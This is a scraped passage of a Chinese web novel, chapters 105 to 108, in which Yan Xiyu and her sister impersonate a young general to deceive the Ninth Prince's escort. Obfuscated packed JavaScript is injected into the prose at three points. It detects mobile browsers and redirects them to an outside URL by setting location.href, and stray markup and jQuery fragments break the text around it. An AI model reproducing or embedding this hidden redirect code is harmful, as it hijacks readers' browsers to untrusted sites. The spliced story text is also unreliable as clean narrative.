“他羿家想干嘛?”九皇子愤怒道,“战弩是他们羿家献上来的,图纸也给了我父皇,为何还想把战弩要回去?” “殿下,羿家虽然把战□□献了出来,但在皇都为陛下造战弩的人同时也是羿家的人,其他人就算对着图纸也造不出能用的战弩,”车大人说,“羿家这是想借陛下的手给他羿家造战弩。” “羿衍椋是真想造反啊!”九皇子心头一惊,“我回皇都必定要将此事告知我父皇。” 车大人劝他:“殿下,我们没证据,陛下不会怀疑羿家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车大人说:“殿下,若羿衍椋只比我们早一两日到皇都,他根本没时间把事情处理好,皇都内世家的关系错中复杂,他必须见到每一位家主,也还需要给几位家主时间来考虑,所以需要至少十日的时间,若他只早到一两日,也是徒劳罢了。” 九皇子这才恍然道:“车大人的意思是说只要看住羿衍椋这十日,我们此行的计划就已然是成功了?” 车大人点头:“如不出意外,应当是会成功。” “那这十日就要把羿衍椋看住了,可他不愿意出马车,”九皇子有些懊恼,“早知就不把他关在牢车里了。” 他为了泄之前的心头之恨,硬是不顾车大人和高将军的劝阻,把羿衍椋关了一整日的牢车。谁知道他羿衍椋只被关了一日牢车就不敢见人了,早知道就不关他了。 躺在床上的高将军说:“羿家是乌州边地的守军,乌州境内所有的百姓都敬仰着羿家,他身为羿家少将军,在爱戴敬仰着他的百姓前被游街示众,一时没脸见人也是情有可原。” 九皇子这下再懊恼也无济于事,他只能问:“那要怎么办?他不出马车,有那阿罗在,也没人敢再逼他出来。” “我们不能再逼他了,免得中了他的计,高将军这次受伤极有可能就是羿衍椋和阿罗故意搞出来的。”车大人想了想,然后说,“人虽然不能见到,但能听见他的声音也可以,我们每日让人去同他说话,也就能知道他在或不在。” “对,能听见声音也就知道他没偷跑,”九皇子立即说,“那谁去找他说话?” 车大人和高将军都幽幽地看了过来。 “……你们……”九皇子迟疑了一下,“是想让本皇子去?” 高将军没说话,车大人歉意道:“殿下,臣若去,下场定比高将军还惨,而只有殿下您,每次找他,他都有回应。” “我找他,他敢不应!”九皇子粗喘了几口气,一咬牙道,“行,我去找他,只要回了皇都,且看他还能嚣张到几时!” 105. 第105章 羿家马车停在营地最外围,除了羿家那些戴着面具的影卫,没有人会走近。 燕惜妤在外面溜达了一圈,还听了一耳朵九皇子他们说的话,断断续续的,无法猜透他们说话的内容。 不过羿衍椋已经离开了,九皇子他们只要没有察觉,随便他们密谋,反正九皇子针对的是阿七而不是她。 燕惜妤确定九皇子没发现阿七偷偷离开了,她这才回到马车里。 马车的一角放着一盏亮着豆大火苗的油灯,罗采春正紧张地等着燕惜妤。 一见她回来,罗采春这才放下心来:“阿妹回来了。” “阿姐,”燕惜妤进了马车第一时间脱下脸上戴着的面具,“阿七去皇都了,这几日我在马车里陪着阿姐,不出去了。” “阿七离开了,你若不出去,九皇子他们会不会怀疑?”罗采春不安地问,“若被怀疑了,怕是会有场恶战。” “要明日才知道他们会不会怀疑,”燕惜妤坐在罗采春对面,“阿姐,你不要怕。” “我不怕,”罗采春摇摇头,“阿七已经教我如何学他说话了,我能做好,不会让他们听出来的。” “阿七还特地教你没他说话?”燕惜妤笑了,“那他还是挺靠谱的。” “对了,这是阿七齐给我的,”罗采春边说边从怀中取出了两块小木牌,并把其中一块递给了燕惜妤,“这是阿七亲手刻出来的平安符,这个是阿妹你的。” “平安符?他还有闲心做这个?”燕惜妤接过来后看了看,发现是半个手掌大的小木牌,一面刻着平安二字,另一面刻着飞鸟的图案,“这是……燕子?” “嗯,你那是瑞祥燕,”罗采春边说边把她手中的平安牌递过来,“我的是迎春花。” 燕惜妤一起拿在手里,两块平安牌是一样的,都刻有平安二字,只有图案不一样。 “那他还是挺有心的,”燕惜妤把罗采春的那块平安牌递了回去,“我都没留意他什么时候刻的。” 罗采春珍惜地把平安牌收进怀中:“在阿妹出去揍人的时候。” “以后不揍他们了,”燕惜妤边说边从凳板下的箱子里拿出垫子铺在马车中间的车板上,“阿姐,我们躺着说话。” 马车两边各有长凳,人可以坐,但太窄了,要是想睡只能侧身。 于是燕惜妤她们把被褥铺在两边长凳中间的车板上,睡她们二人刚刚好。 俩人脱了鞋,并排躺下。 “三姐,这几日委屈你一直藏在马车里,”燕惜妤看着马车顶说,“我们还要在这马车里睡十日才能回边地。” “真能回去吗?”罗采春迟疑着问,“若我们离开了,九皇子发现阿七也不在,会不会杀了外面那些羿家的人?” “不知道,”燕惜妤确实不知道丁和他们护着空马车该如何骗过九皇子,“阿七不让我去皇都,他应该会有办法瞒过九皇子。” “阿妹,要不我……”罗采春才刚开口,燕惜妤立即打断了她。 “想都别想!我不会同意的!”燕惜妤侧头看向面对她侧卧着的罗采春,“三姐必须同我一起回边地。” “你怎么就猜到我想说什么了,”罗采春抿了抿嘴唇,“可外面那些羿家人……” “他们不归我管,阿七会有办法的,”燕惜妤还是坚决地说,“我把三姐带出来,就一定把三姐带回去,哪怕留下你就能救外面那些羿家人,我也不会把你留下。” 罗采春轻声说:“阿妹,他们可都是羿家军。” “可你是我三姐,”燕惜妤鼓着脸说,“三姐,你不能为了他们就抛下我,我可是你的阿妹。” 明明知道自己不是这个意思,但燕惜妤这样说,还是让罗采春觉得脸上躁热,心中却十分欣慰。 “那听你的,阿七既是少将军,想来该有好的法子,”罗采春说,“只盼九皇子他们不要发现才好。” 想到刚才自己听到的那几句话,燕惜妤觉得九皇子估计发现不了:“明日就知道了。” 第二日,燕惜妤又让丁和带着羿家影卫架着马车离开了营地,直到午时歇息才回到营地。 九皇子一直在等着羿家的这些人,自从昨夜和车文成还有高旗分析了羿家会有的举动,他既希望羿衍椋逃跑,又不想他逃跑。 在得知羿家人又回来时,他心里竟在想着或许羿衍椋已经不在马车里了。 车大人在旁边提醒他:“殿下,少将军的马车回来了。”您该去确认羿衍椋还在不在了。 九皇子又坐了一会儿,这才拂袖走出营地。 羿家影卫这次出来,除了骑着自己的马,其余的都是九皇子的。 像是歇息的营帐,还有日常的吃食和喂马的草饲,都从九皇子这边拿。 又因为有那煞神在,厨帐的伙夫和负责草饲的马夫都不敢糊弄他们,基本是九皇子吃什么,少将军就吃什么,九皇子的马喂上好的豆子,羿家影卫骑的马也喂上好的豆子。 “不愧是皇家,连皇子出门都吃的这么好,”燕惜妤看着厨帐那边送来的食盒,“咱这几日倒是有口福了。” 她正要把筷子递给罗采春,就听丁和在马车外边说:“少将军,九皇子殿下来了。” 九皇子虽然被逼于无奈才来试探羿衍椋的行踪,但他不会自己开口,而是让身边的林内侍代替他。 “少将军,殿下见您昨夜不在营帐中歇息,特来问少将军可是需要更换马车?” 虽然九皇子他们无办法管束羿家人,但羿家这边的一举一动都有人在瞧着,前夜羿衍椋要了营帐,但昨夜又不要了,车大人就让九皇子以这个理由来关心将士。 燕惜妤看看自己坐的普通的马车,再想到九皇子那几架豪华的马车,虽然想坐坐,但多一事不如少一事,所以她对着罗采春摇了摇头。 刚才还很淡定的罗采春,这会儿忽然紧张了起来,只见她挺直着腰,深呼吸了两下,才用羿衍椋的声音说:“不用换了,末将乃大承臣民,不敢造次。” 说完这句话之后,她紧张地屏住了呼吸,就连燕惜妤都留意起马车外的动静。 马车外面,丁和还有林内侍听见‘羿衍椋’这么说,于是一同看向九皇子。 九皇子从小就认识羿衍椋,早已经熟悉对方的声音,这会儿听见马车里传出‘羿衍椋’那熟悉的声音,也只憋屈地扫了眼马车,然后带着林内侍离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065763|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车大人虽然没跟过来,但他也守在不远的地方,自然也听见了‘羿衍椋’在马车里说的话。 九皇子走到他面前,冷着脸说:“羿衍椋在马车里,他没跑。” 他怎么就不跑呢! 车大人点点头:“臣听见了,确实是少将军的声音。” “是本皇子高看他了,还以为他敢跑,”九皇子又气又不甘地转身向营帐走去。 车大人沉默地跟在他身后。 他倒是知道羿衍椋绝不会跑。 羿家祖祖辈辈为大承守着天下守着国门,他们族人是宁可全族男儿身死挡外敌,也绝不投降的人。 羿衍椋哪怕知道他是被冤枉的,也知道这次被九皇子押回皇都虽能洗清冤屈,却仍会在陛下心中种下怀疑羿家的种子。 他和九皇子千里迢迢带着战弩来抓羿衍椋,为的就是让陛下怀疑羿家。只要陛下越来越怀疑羿家,那太子储君之位也就越容易动摇。 羿家和羿衍椋应该都猜到了他和九皇子的打算,但羿衍椋仍然选择被抓,是因为他姓羿。 羿衍椋绝不会因为他羿氏一族的安危,而置大承数十万的将士于不顾。 因为羿衍椋若拒捕,那羿家就会被定为叛变,除了羿氏一族会受到牵连,那些跟了羿家数十年的将士们也难逃一死。 他就是知道羿衍椋最终的选择,才会劝说九皇子带人来抓羿衍椋。 虽然羿家忠勇确实让人敬佩,可从龙之功的诱惑太大,他车文成既然入不了太子门下,那他就要为自己谋划一位新主! 车文成看着走在面前的九皇子,虽然没有太子睿智,但好在容易掌控,也算是一个不错的选择。 燕惜妤从撩开的车帘看着九皇子他们离去的背影,在看见车大人时,她非常庆幸当时他找到边地见她时,她只同他说了寥寥几个字。 没有过多的交谈,对方就认不出她的声音。 阿七说过这人心机颇深,让她尽量少和他直接面对面,尤其不要和他说话。 她不会和车大人说话的,他若敢站在她面前,她就费了他的手脚,就像那高将军一样。 “阿妹,他们走了吗?”罗采春轻声问,她怕九皇子会怀疑,这时还紧绷着身体。 “走了,他们没怀疑,”燕惜妤放下车帘,然后举着筷子说,“三姐,我们吃饭。” “吃了饭你别出去,”罗采春说,“阿七让我看着你,不让你出去。” “他怕我闯祸吗?”燕惜妤鼓了鼓脸,这个阿七! “不是,他说你不能再戴面具了,”罗采春眼神柔和地看着燕惜妤,“阿七托我照顾你,还让我多多用热水帮你敷脸。” 燕惜妤眉毛一挑:“他这两日挺忙的啊,又要刻平安牌,又还要教三姐说话,还能记着我脸上的伤。” 好一个阿七,竟然还学会了一心多用。 罗采春看着她,微侧着脸笑了。 阿妹有阿七这个少将军护着,她心里也安稳些。她是从教坊司逃出来的,若有一日要把她抓回去,阿妹有羿家少将军护着,想来也不会连累阿妹。 虽然阿妹身手了得,可她还是希望有人能护着阿妹不被任何人伤害。 106. 第106章 罗采春这边还在想着能有人保护燕惜妤,那边的燕惜妤已经举起了筷子。 “三姐,吃啊,”燕惜妤边夹肉边说,“咱把九皇子带的肉都吃光光,谁叫他敢把阿七关牢车里去,等下我就出……” “阿妹,”罗采春看着她,“脸上都肿成那样了,你不疼啊?” “有点疼,”燕惜妤老实说,“那我不出去了。” “你别出去,”罗采春拧着眉说,“阿七说让你尽量不要出去,才能知道九皇子下一步如何做。” 九皇子的下一步,就是每日餐前来找羿衍椋说话。 每次都是林内侍代替他发言,然后再等车里的‘羿衍椋’回他一两句才离开。 但那尊煞神也有好几日躲在马车里没现身了,也不知是不是离开了。 “车大人,你觉得那阿罗是不是回羿家了?”九皇子皱着眉问,“这几日不见踪影,本皇子总觉得心中不安。” 车大人问:“那依殿下的意思是?” 九皇子阴着脸说:“若那阿罗不在,本皇子想知道羿家是不是还有第二个阿罗藏在羿家影卫之中。” “那殿下可以试探一下羿衍椋,”车大人想了一会才点头,“但殿下切记不可逼的那阿罗再动手。” 高将军这两日才刚能站起来走两步,若阿罗要伤九皇子,没人能救得了。 “本皇子只是去关心一下少将军,”九皇子边走出营帐边说,“他若不需要关心,大可拒绝。” 燕惜妤这时正在马车里坐着,她脸上的压痕已经消肿,只留下些淡淡的印记,尤其是鼻梁的印记最为明显。 “好的差不多了,”罗采春仔细看着她的脸,拧着眉说,“就是鼻梁这里损了,也不知会不会留疤。” “没事,过两日回去问槿方要些去疤的药……”她的话还没说完,马车外传来了说话声。 过了一小会,就听丁和说:“少将军,殿下说营帐中有上好的佳酿,想邀少将军一同畅饮。” 燕惜妤和罗采春对视了一眼,燕惜妤冷笑一声:“他这是等不急又要来试探了。” 她伸手把旁边的铁面具戴在脸上,对罗采春说:“三姐,你等下把我喊回来,多喊两次。” “好,”罗采春才刚点头,燕惜妤的人就已经消失在马车里。 燕惜妤凭空出现在九皇子面前,把九皇子吓得下意识后退了几步! 不用这人说话,只看此等身手,这知这人一定是阿罗! “你!你、你……”九皇子一连三个“你”,愣是没能说出完整的话。 “九皇子殿下,”燕惜妤粗着嗓子说,“我家少将军不想见任何人,你难道又忘了?” “你怎么还在?”九皇子也不知道为什么忽然就从嘴里嘣出来了这句话。 燕惜妤看着他:“你想让我去哪?” “回羿家啊,”九皇子连忙说,“你这人一言不合就动手,你若去了皇都,指不定给你家少将军惹出多少祸事来!” 他越说越觉得自己说的有道理,这人不能再留在他的车马队伍中,免得他带来的将士被这煞神一路揍回皇都,这不是让整个大承的百姓都看他顾鸣觉的笑话吗! “羿衍椋,你当真敢让这阿罗进皇都?”九皇子看向羿家马车,阴阳怪气地说,“别说本皇子没提醒你,到时候要是皇都几大世家的人都被揍了一遍,你羿家怕是就此不得安生!” “我想去哪就去哪,”燕惜妤粗着嗓子说,“你管不着。” “你!”九皇子瞪了过来。 “阿罗,”马车内传来‘羿衍椋’的声音,“多谢殿下提醒,也多谢殿下的美意,但末将身为武将,平日不饮酒。” 九皇子站着没动,因为站在他面前的那尊煞神还没走。 “你家少将军喊你,你还不快回去,”九皇子赶人。 燕惜妤还是站着没动,九皇子忽然有点想跑。 “阿罗,回来,”马车中又传来‘羿衍椋’的声音,“请殿下不要激怒阿罗,末将的话偶尔也不顶用。” 九皇子顿时倒吸一口凉气。 你管不住你手底下的人你还当什么少将军?!! 燕惜妤把人吓够了,这才转身回到马车里。 “三姐,你说话越来越像阿七了,”她边摘面具边说,“要不是知道他不在,我还以为就是他在说话。” “阿七教了我许久,”罗采春羞然道,“他让我不要怕,还说……” 还说等他离开后,只剩下她能护着燕惜妤了。说若是被九皇子察觉出异常,燕惜妤一定会杀人灭口。他希望她能护住燕惜妤,不要让燕惜妤在大承无容身之地。 燕惜妤好奇地问:“他还说什么了?” “没说什么,就是让我看着你,”罗采春说,“让我一定要带着你回边地。” “这人还挺爱操心的,”燕惜妤摇摇头,然后坐在罗采春身边说,“三姐,我忽然想到我光明正大离开‘羿衍椋’身边的方法了。” 罗采春连忙问:“是什么法子?” “利用九皇子刚才说的那句话,‘羿衍椋’怕我在皇都惹事,在九皇子车马离开乌州时,让我回泰县,”燕惜妤扬了扬眉,“还真是该多谢他的提醒。” “这法子好,话是他自个说的,”罗采春连连点头,“所以你离开,他们也不会怀疑。” “再过两日就到乌州边界了,到时你当着他的面在马车里让我原路返回,然后我再悄悄地跟着你们,等到了晚上,我再把你从马车里带走,”燕惜妤已经想好了计划,“接着我们就骑马回边地。” 罗采春说:“可是我们没有马。” 燕惜妤对着马车外努了努嘴:“等晚上我去找丁和要,阿七应该和他说好了。” 丁和确实知道这事,羿衍椋早就已经和他商量好了所有的一切。 而且当初他也知道燕惜妤带着罗采春一起出来,这几日羿衍椋偷偷离开,但还经常能听见少将军的声音,他猜也猜到是怎么回事了。 “你放心,我知道,”丁和低声说,“少将军也说了,绝对不能让你去皇都。” “他还让你也看着我啊?”燕惜妤觉得羿衍椋怕是忘记了,“你们没人能拦得住我。” 丁和沉默,他确实拦不住。 “不过我答应他了,我不会去皇都的,”燕惜妤看看眼前的丁和,又看看旁边守着马车的那些羿家护卫,“我们要是回去了,你们这一路能瞒得住九皇 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好在又过了两日,他身上的伤痊愈了,终于能骑着马守在九皇子的车驾旁。 此时已经到了乌州和埬州的交界处,乌州的守军已经完成了他们这一路的职责,接下来他们会原路返回乌州,而埬州的守军会护着九皇子的车马继续前进,在九皇子车马离开埬州边界时,再由下一州县的守军接上。 高将军带着他手下的将士在前头和乌州还有埬州的守军将领进行三方交谈,而九皇子的车驾被高将军带来的士兵牢牢守护着,羿家的马车在九皇子的车驾后面,而乌州所有的守军都等在最后面,只要他们的将领完成了交接,他们就立即原路返回。 九皇子在马车里烦闷地坐着。 乌州的守军要回去了,接下来护卫他的是埬州守军,若是那煞神一路跟着,万一又在埬州的界内揍他的人,那岂不是被乌州的人笑了之后,又要被埬州的人笑?!! 他越想越气,恨不得用战弩把那煞神和羿衍椋一起都给射杀了! 就在这时,外面守来丁和的声音:“九皇子殿下,少将军命小的来禀报殿下,阿罗也要随乌州守军原路返回。” 九皇子心中一跳,随即又是一喜。 好啊,那煞神终于不再跟着他们了! “好好好!”九皇子兴奋地要从马车上出来,守在马车门边的林内侍连忙将他扶下来。 九皇子和颜悦色地看着丁和:“那阿罗要回羿家了?不去皇都了?” 丁和躬身说:“回殿下,是的,阿罗不去皇都。” “那太好了,本皇子去看看,”九皇子说着就往羿家马车那边走去,保护他的士兵连忙跟随。 走了一会,果然看见那脸戴面具的煞神站在羿家马车外,而羿衍椋没出来。 九皇子顿时就笑了。 太好了,羿衍椋终于把这煞神赶走了! 就冲他这次能听劝,回皇都的这一路上就不为难他了,反正都已经走到这里了,就算他现在抢先跑回皇都,他也没有时间能筹谋和布置好一切。 眼下最重要的,是赶紧把那煞神送走! 107. 第107章 燕惜妤站在马车外,就是在等九皇子的。 她需要当着九皇子的面,和马车里的‘羿衍椋’说话,让九皇子听见马车里‘羿衍椋’的声音,还要让九皇子亲眼看见她没再跟着羿家的马车。 看见九皇子来了,她才装模作样地对着马车里面的‘羿衍椋’说:“少将军,属下真的不能跟着您一起去皇都吗?” “不能,”马车里响起‘羿衍椋’的声音,“你且回去吧,有丁和他们在,不用你跟着,你回军营去,守好边地。” 燕惜妤站着没说话。 旁边的九皇子立即紧张了起来。 这煞神该不会是连羿衍椋的话都不听了吧? 平日一口一个“我家少将军”,这会怎么就不听你家少将军的话了? 就在九皇子心中紧张时,就听那煞神说:“是,属下领命。” 九皇子高高提起的心瞬间就落了下来。 啊哈哈,这煞神总算是被羿衍椋赶走了! 九皇子顿时眉开眼笑地说:“少将军,这是在和你的属下道别呢?” “回殿下,末将已让阿罗原路返回,请殿下不要再激怒阿罗,”马车里传出‘羿衍椋’的声音,“殿下还是请回马车吧。” 九皇子这会心情好,抬着下巴打量了一下那阿罗,这才转身回马车。 这时,高将军骑着马过来,在快到九皇子面前时翻身下马:“殿下,可以继续赶路了。” “那走吧,”九皇子对他点点头,继续向着马车走去,边走边对身边跟着的林内侍说,“你等会先别上马车,你看看那煞神是不是真没跟上来。” 林内侍躬身应道:“是,殿下。” 九皇子上了马车之后,高将军挥手示意继续赶路。 林内侍跟着马车走,边走边转头看,然后把看见的告诉坐在马车里的九皇子:“殿下,少将军身边的丁和牵来了一匹马,看那马鞍应该是埬州的马,他把马给了那煞神。” 九皇子在马车里探出脑袋,着急地问:“别说这些没用的,本皇子就想知道羿衍椋是不是真能把人给赶回去!” 林内侍伸长着脖子往后看,边看边说:“丁和留下马后,他自己骑上马,跟在少将军马车的旁边……马车动了,那煞神牵着马留在原地!殿下,那煞神没跟上来!” “呼!”九皇子长长吁出一口气,“没跟上来就行,总算不用整日提心吊胆了。” 林内侍这时爬上了马车,谄媚地说:“殿下,那煞神没跟上来,那奴今夜找些人去试探一下羿家的那些影卫?” 九皇子眼中露出阴冷:“准了,本皇子还就不信他羿家人人都是煞神!” 他说完,又有些不放心地对林内侍说:“你再去看看那煞神是不是真没跟上来。” 林内侍连忙又下了马车,远远地,他看见车马的最后面,有个模糊的人模牵着匹马还站在原地。 燕惜妤牵着马,看着丁和与羿家影卫护着罗采春坐着的马车慢慢驶远。 在她身边,是乌州那些准备原路返回的守军。 乌州守军护卫九皇子出乌州的任务已经完成,他们训练有素地掉转马头,然后分队返回。 他们像是没看见官道的中央还站着一个人和一匹马,全都沉默地抖着手中的缰绳,只想尽快远离这一言不发就动手卸人四肢的煞神。 该赶路的队伍已经走远了,该原路返回的队伍也已经回去了,原地只剩下一个燕惜妤,还有一匹马。 “马儿啊,我牵你去喝水,”燕惜妤牵着马慢慢往前走,“我们远远地跟着他们,到了夜里我把你拴在树下,等我把三姐接回来,咱再回边地去,”燕惜妤拍拍马脖子,“边地全是草,随你吃。” 那匹马甩了甩脖子,边走边嚼路边长得很高的野草。 晌午时,日头刚过顶。燕惜妤从马鞍那解了装有干粮的布袋,然后躲在树荫下歇息。 那匹马被她随意地绑在一棵树下,时不时打两个响鼻。 日头渐渐西沉,燕惜妤这才骑着马往前追,远远地看见在火光时,她才停了下来。 这荒山野岭的,无论是白日还是夜里,都很幽静。 她不能骑着马离的太近,所以只能把马匹远远地留下,她自己偷偷过去将罗采春带出来。 “马儿啊,你在这等我,我去把我三姐带出来,”燕惜妤把马藏在几棵树的后面,她边绑缰绳边说,“有人要是敢来偷你,你就把人踢飞,听见了吗?” 那马甩了甩脖子,它通体漆黑,如果不是离的近,燕惜妤还真看不见它。 “丁和是粗中有细的人,”燕惜妤笑笑,把别在腰间的铁面具戴在脸上,这才向着有火光的地方疾驰而去。 九皇子的营地今日比前几日热闹了很多,估计是因为那煞神不在,将士们不再怕会被人卸了四肢,这会儿也敢大声嚷嚷着说些诨话了。 羿家的马车仍像往常一样,停在离九皇子的车马最远的地方,也同样远离了九皇子带来的那些将士的巡逻圈,有羿家影卫守着马车,九皇子那边的将士并不需要为羿家少将军的安危担心。 燕惜妤站在树下看了看四周,确定附近没藏着人,她这才身影一闪,直接进了马车。 只不过甫一进到马车里,她猛地顿了一下。 阿七? 马车里有两个人,一个是罗采春,另一个—— 有那么一瞬间,燕惜妤还以为这人是羿衍椋。 但其实不是。 这人的身形和羿衍椋很像,坐着的姿势也很像,就像侧脸竟然也有三分神似,如果不是在马车里离的近,燕惜妤都觉得她会把这人错认为是羿衍椋。 那人坐在罗采春的斜对面,对于忽然出现的人只露出略微的惊讶,一眨眼间就又面无表情地坐着不动。 既不看向来人,也不开口说话,只是安静地坐着。 燕惜妤盯了这人两眼,然后看向罗采春。 罗采春脸上那肉眼可见的慌张在看见燕惜妤的出现时,终于是镇定了下来。 虽然燕惜妤脸上戴着面具,但罗采春知道,在这世上再也没有人能像她阿妹这般,能够做到来无影去无踪。 马车外面就算围着千军万马,可阿妹每次凭空消失又凭空出现,总是没有任何人能察觉。 像此等天下第一的武功,除了她阿妹,天下怕是再也找不出第二个人了。 “你来了,”罗采春一张口,说出的话仍是是‘羿衍椋’的声音,“丁大人说要是你来了,就让我问他们要营帐。” 她没提马车里突然多出的这人是谁,同时也没喊燕惜妤“阿妹”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079963|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>燕惜妤看了那安静坐着的人一眼,对着罗采春点了点头。 罗采春这才清了清嗓子,正要开口喊丁和,马车外去响起了吵杂声。 “林内侍,你带着这些人过来是要做什么?”丁和的声音带着愠怒,“我们少将军喜静,还望林内侍不要打扰。” “丁侍卫为何拦着奴?”林内侍尖着嗓子说,“九皇子殿下见少将军多日不出马车,怕少将军闷出病来,这才遣了奴来请少将军去营帐中一聚,还望少将军不要辜负了殿下的好意。” 听着外面的声音,燕惜妤在马车里挑了挑眉。 九皇子果然不可信,之前她在,他就远离着‘羿衍椋’,结果她只不过刚离开一日,九皇子就已经按耐不住要来试探了。 燕惜妤扫了眼马车里坐着的这个人,脸虽然只有三分像,但身形是真的像,尤其是在这黑夜里,哪怕是附近燃有营火,但这人要是站在阴影里只露出侧脸,旁边的人就算离的近,只要不交谈,估计也会看错眼,误将他认成是羿衍椋。 难道这就是羿衍椋之前说的办法? 但这一路去皇都还有很远的路,这人总不可能一直不开口说话吧? 正想着,罗采春忽然用‘羿衍椋’的声音对着马车外面的丁和说:“丁和,备营帐。” “是,少将军,”马车外的丁和躬身道,然后挥手对身边跟着的羿家影卫说,“去把营帐撑起来。” 林内侍被晾在了一边,脸色开始变得难看:“是奴的错,奴身份卑贱哪配和少将军说话,奴这就回去禀报九皇子殿下……” 他话还没说完,身后忽然就响起了九皇子的声音:“少将军是要本皇子亲自来请?” 大家转头看去,只见九皇子带着车大人和高将军已经走了过来。 “九皇子殿下,”丁和连忙躬身道,“请殿下不要误会,少将军只是……” “退下!”车大人忽然冷斥一声,“九皇子在与少将军说话,哪容得你这小小侍卫来插话!” 丁和倏地跪下:“殿下恕罪!” 九皇子冷哼一声:“不是让备营帐吗,少将军既然要住营帐,那本皇子就在这里等着他出马车。” 这时,之前被丁和喊去备营帐的羿家影卫带着几个士兵正好抬来了营帐,他们快手快脚地将营帐搭架好,然后就退到了一边。 夜色下,九皇子的脸满是阴冷:“少将军,请从马车里出来吧,难不成还要本皇子亲自去为你掀车帘不成?” 在马车里的燕惜妤听见他就欠揍的声音,真的很想出去揍他一顿。 但她不能出去,她现在的身份是羿家影卫,羿少将军不准她跟着去乌州,她就该听军令原路返回,这时绝不能再出现在九皇子面前。 她若出现,九皇子他们一定会怀疑,那前面她和三姐还有阿七所做的一切全都白费。 可外面的九皇子显然是打算把这几天丢的脸在今夜给找回来,马车里的这人就算能瞒得过九皇子他们,但若九皇子和他说话,他总不可能不张嘴,而让在马车里的罗采春说话吧? 这样一来不就都露馅了吗? 可阿七说有办法,难不成还藏着绝招没出? 燕惜妤正想着,就见原本安静地坐在马车里的那人,忽然伸手去掀车帘,看样子是准备要从马车里出去! 108. 第108章 马车外面的人这时看见车帘被掀开一角,夜已深,天太暗,马车里的人正弯着腰下来,就在他将将要直起腰时,旁边忽然响起了浑厚的声音。 “少将军且慢些,属下来扶您。” 这人的声音一响起,九皇子整个人猛地浑身颤了一下。 而高将军的反应是最大的,他陡地发出惊讶的声音:“鲁教头?!!” “鲁教头”三个字一出口,现场的人瞬间都齐刷刷地看向了那个人。 只见被高将军称为鲁教头的男人身穿着羿家影卫的装束,腰间挂着刚从脸上摘下来的面具。 这下生得一双锐利的虎目,须髯如戟,即使在夜里,也能看出他双臂强健有力。 “高将军,好久未见,”鲁正和对着高将军哈哈一笑,然后朝着九皇子躬手抱拳道,“小的见过九皇子殿下。” “鲁……”九皇子有些怔愣地看着他,差点儿就要喊出儿时“鲁师父”的称呼,但看见鲁正和并不想和他相认,只能改口道,“鲁教头快快免礼。” 鲁正和这才直起腰身,然后大踏步走到已经侧身站在营帐前的“羿衍椋”身旁躬身道:“少将军,属下今夜值守,少将军请安心歇息。” “羿衍椋”点点头,丁和在旁边为他掀开营帐的门帘,待他进去后,才放下门帘。 他和鲁正和对视一眼,笑着说:“阿罗刚回去,你这老哥怎的就来了?” 鲁正和一拍丁和的肩膀,也笑着说:“夫人怕少将军这一路去皇都会有危险,所以就让我过来和老弟一起护送少将军去皇都。” 他说完,看向九皇子他们几人,再次躬身道:“殿下,高将军,是来找少将军的吧?那请进去吧。” 他边说着,还边伸手掀开了门帘,营帐里面只燃了一盏油灯,豆大的火光只照亮了矮案的一角,“羿衍椋”坐在旁边,像是在等着他们。 九皇子这时哪还有什么找羿衍椋麻烦的想法,他此时全部心思都放在了鲁正和的身上。 鲁正和是羿家军快刀营的教头。 鲁正和一手□□使得出神入,可谓是天下无敌了。 九皇子在十岁时,曾陪着当今皇帝巡查过州县,当时是羿家的羿老将军带着两个儿子随驾护卫,羿老将军的两个儿子分别带着一队羿家军,当时鲁正和也在其中。 帝驾在经过一处山间荒路时,被藏在山树的夷狄人突袭。 夷狄人善马善箭,马匹就是他们的一双腿。 当帝驾队伍被夷狄人骑着马冲散时,九皇子刚好因马车颠簸差点被抛下马车,就在他觉得自己将会被夷狄人杀死时,他看见了鲁正和。 鲁正和没有骑马,且身上只有一把大刀,但他却只需一刀就能劈下一匹马的马头! 九皇子当时紧紧扒着马车的车厢,双眼死死盯着劈马头就像砍瓜切菜般容易的鲁正和。 当时九皇子也不知道是怎么想的,在生死存亡的关头,他竟然还能帮鲁正和数一共砍掉了多少个马头。 后来九皇子才知道,鲁正和是羿家快刀营的领将,鲁正和毕生绝学就是□□! 九皇子从来是个贪生怕死,却又贪图权力的人。 但自那次之后,他破天荒地想向鲁正和学刀法。 可惜他不是那块料,他的母妃也不允许。 不过皇帝倒是同意了,特地让鲁正和进宫教几位皇子学了两个月的刀法。 皇子也有专门教导文学和武学的老师,九皇子喊别人老师,唯独喊鲁正和是师父。 大概年少时的他在心中觉得,生死攸关之时,鲁正和从天而降救了他,所以配得到他的一声“师父”。 在那之后,,九皇子再也没见过他,只知道鲁正和从羿家快刀营的将领成为了羿家快刀营的教头,还听说他收了一位极其有天赋的徒弟,还说将来要让他的徒弟也当快刀营的教头,一生为羿家,为朝廷,为大承效力。 